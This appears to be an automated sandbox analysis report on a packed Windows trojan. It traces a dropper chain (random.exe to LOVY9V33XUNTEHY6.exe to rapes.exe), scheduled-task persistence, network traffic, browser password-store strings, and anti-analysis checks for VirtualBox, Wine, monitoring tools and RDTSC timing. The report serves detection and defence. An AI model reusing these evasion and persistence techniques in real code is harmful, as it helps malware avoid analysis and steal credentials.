Source: unknown	Network traffic detected: HTTP traffic on port 49682 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.8:49682 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.8:49683 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.8:49684 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.8:49685 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.8:49686 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.8:49687 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.8:49688 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: random.exe	Static PE information: section name:
Source: random.exe	Static PE information: section name: .idata
Source: random.exe	Static PE information: section name:
Source: LOVY9V33XUNTEHY6.exe.0.dr	Static PE information: section name:
Source: LOVY9V33XUNTEHY6.exe.0.dr	Static PE information: section name: .idata
Source: LOVY9V33XUNTEHY6.exe.0.dr	Static PE information: section name:
Source: rapes.exe.3.dr	Static PE information: section name:
Source: rapes.exe.3.dr	Static PE information: section name: .idata
Source: rapes.exe.3.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe

File created: C:\Windows\Tasks\rapes.job

Jump to behavior

Source: random.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: random.exe	Static PE information: Section: cgvbmlxy ZLIB complexity 0.9944972515976872
Source: LOVY9V33XUNTEHY6.exe.0.dr	Static PE information: Section: kzjvenhc ZLIB complexity 0.9946010890151515
Source: rapes.exe.3.dr	Static PE information: Section: kzjvenhc ZLIB complexity 0.9946010890151515

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/3@1/3

Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe

Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\random.exe

File created: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\random.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: random.exe, 00000000.00000003.929477939.0000000006215000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.930012365.0000000001848000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.942642735.0000000006231000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: random.exe	Virustotal: Detection: 54%
Source: random.exe	ReversingLabs: Detection: 50%

Source: random.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: LOVY9V33XUNTEHY6.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: LOVY9V33XUNTEHY6.exe	String found in binary or memory: " /add /y
Source: LOVY9V33XUNTEHY6.exe	String found in binary or memory: " /add
Source: rapes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: rapes.exe	String found in binary or memory: " /add
Source: rapes.exe	String found in binary or memory: " /add /y
Source: rapes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: rapes.exe	String found in binary or memory: " /add
Source: rapes.exe	String found in binary or memory: " /add /y

Source: C:\Users\user\Desktop\random.exe

File read: C:\Users\user\Desktop\random.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\random.exe "C:\Users\user\Desktop\random.exe"
Source: C:\Users\user\Desktop\random.exe	Process created: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe "C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe"
Source: C:\Users\user\Desktop\random.exe	Process created: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe "C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\random.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: random.exe

Static file information: File size 2079232 > 1048576

Source: random.exe

Static PE information: Raw size of cgvbmlxy is bigger than: 0x100000 < 0x19ac00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\random.exe	Unpacked PE file: 0.2.random.exe.ea0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cgvbmlxy:EW;geghgyxu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cgvbmlxy:EW;geghgyxu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Unpacked PE file: 3.2.LOVY9V33XUNTEHY6.exe.bf0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kzjvenhc:EW;fnpvcctf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kzjvenhc:EW;fnpvcctf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Unpacked PE file: 4.2.rapes.exe.e20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kzjvenhc:EW;fnpvcctf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kzjvenhc:EW;fnpvcctf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Unpacked PE file: 5.2.rapes.exe.e20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kzjvenhc:EW;fnpvcctf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kzjvenhc:EW;fnpvcctf:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: rapes.exe.3.dr	Static PE information: real checksum: 0x214ec8 should be: 0x212c1c
Source: random.exe	Static PE information: real checksum: 0x205be8 should be: 0x20ab61
Source: LOVY9V33XUNTEHY6.exe.0.dr	Static PE information: real checksum: 0x214ec8 should be: 0x212c1c

Source: random.exe	Static PE information: section name:
Source: random.exe	Static PE information: section name: .idata
Source: random.exe	Static PE information: section name:
Source: random.exe	Static PE information: section name: cgvbmlxy
Source: random.exe	Static PE information: section name: geghgyxu
Source: random.exe	Static PE information: section name: .taggant
Source: LOVY9V33XUNTEHY6.exe.0.dr	Static PE information: section name:
Source: LOVY9V33XUNTEHY6.exe.0.dr	Static PE information: section name: .idata
Source: LOVY9V33XUNTEHY6.exe.0.dr	Static PE information: section name:
Source: LOVY9V33XUNTEHY6.exe.0.dr	Static PE information: section name: kzjvenhc
Source: LOVY9V33XUNTEHY6.exe.0.dr	Static PE information: section name: fnpvcctf
Source: LOVY9V33XUNTEHY6.exe.0.dr	Static PE information: section name: .taggant
Source: rapes.exe.3.dr	Static PE information: section name:
Source: rapes.exe.3.dr	Static PE information: section name: .idata
Source: rapes.exe.3.dr	Static PE information: section name:
Source: rapes.exe.3.dr	Static PE information: section name: kzjvenhc
Source: rapes.exe.3.dr	Static PE information: section name: fnpvcctf
Source: rapes.exe.3.dr	Static PE information: section name: .taggant

Source: random.exe	Static PE information: section name: entropy: 7.147721708654879
Source: random.exe	Static PE information: section name: cgvbmlxy entropy: 7.953502629484477
Source: LOVY9V33XUNTEHY6.exe.0.dr	Static PE information: section name: entropy: 7.030290072035374
Source: LOVY9V33XUNTEHY6.exe.0.dr	Static PE information: section name: kzjvenhc entropy: 7.9544371676171375
Source: rapes.exe.3.dr	Static PE information: section name: entropy: 7.030290072035374
Source: rapes.exe.3.dr	Static PE information: section name: kzjvenhc entropy: 7.9544371676171375

Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	File created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe			Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	File created: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\random.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe

File created: C:\Windows\Tasks\rapes.job

Jump to behavior

Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\random.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\random.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\random.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1064785 second address: 106478F instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC1BC5023A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 106478F second address: 106479B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 js 00007FC1BCECC576h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 106479B second address: 106479F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 106479F second address: 10647B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jl 00007FC1BCECC584h 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 107F47A second address: 107F482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 107F482 second address: 107F48D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1081E88 second address: F03B72 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 61E2C4E5h 0x0000000f adc si, C731h 0x00000014 mov dword ptr [ebp+122D1A51h], ecx 0x0000001a push dword ptr [ebp+122D0EDDh] 0x00000020 call 00007FC1BC5023B6h 0x00000025 pop ecx 0x00000026 call dword ptr [ebp+122D19B3h] 0x0000002c pushad 0x0000002d pushad 0x0000002e and cl, 00000000h 0x00000031 jmp 00007FC1BC5023B6h 0x00000036 popad 0x00000037 xor eax, eax 0x00000039 pushad 0x0000003a mov dword ptr [ebp+122D1A51h], ecx 0x00000040 popad 0x00000041 mov edx, dword ptr [esp+28h] 0x00000045 pushad 0x00000046 jmp 00007FC1BC5023B8h 0x0000004b mov eax, dword ptr [ebp+122D3802h] 0x00000051 popad 0x00000052 mov dword ptr [ebp+122D382Eh], eax 0x00000058 sub dword ptr [ebp+122D1A51h], eax 0x0000005e mov esi, 0000003Ch 0x00000063 sub dword ptr [ebp+122D3431h], edi 0x00000069 add esi, dword ptr [esp+24h] 0x0000006d cmc 0x0000006e sub dword ptr [ebp+122D3431h], edi 0x00000074 lodsw 0x00000076 xor dword ptr [ebp+122D3431h], edi 0x0000007c add eax, dword ptr [esp+24h] 0x00000080 stc 0x00000081 mov ebx, dword ptr [esp+24h] 0x00000085 jng 00007FC1BC5023A7h 0x0000008b cld 0x0000008c nop 0x0000008d jc 00007FC1BC5023B3h 0x00000093 push eax 0x00000094 push eax 0x00000095 push edx 0x00000096 jmp 00007FC1BC5023ACh 0x0000009b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A176F second address: 10A1780 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC1BCECC57Ah 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A1B73 second address: 10A1B88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jno 00007FC1BC5023A6h 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A1B88 second address: 10A1B8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A1B8C second address: 10A1B90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A1B90 second address: 10A1B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A201D second address: 10A202F instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC1BC5023A8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FC1BC5023A6h 0x00000012 rdtsc
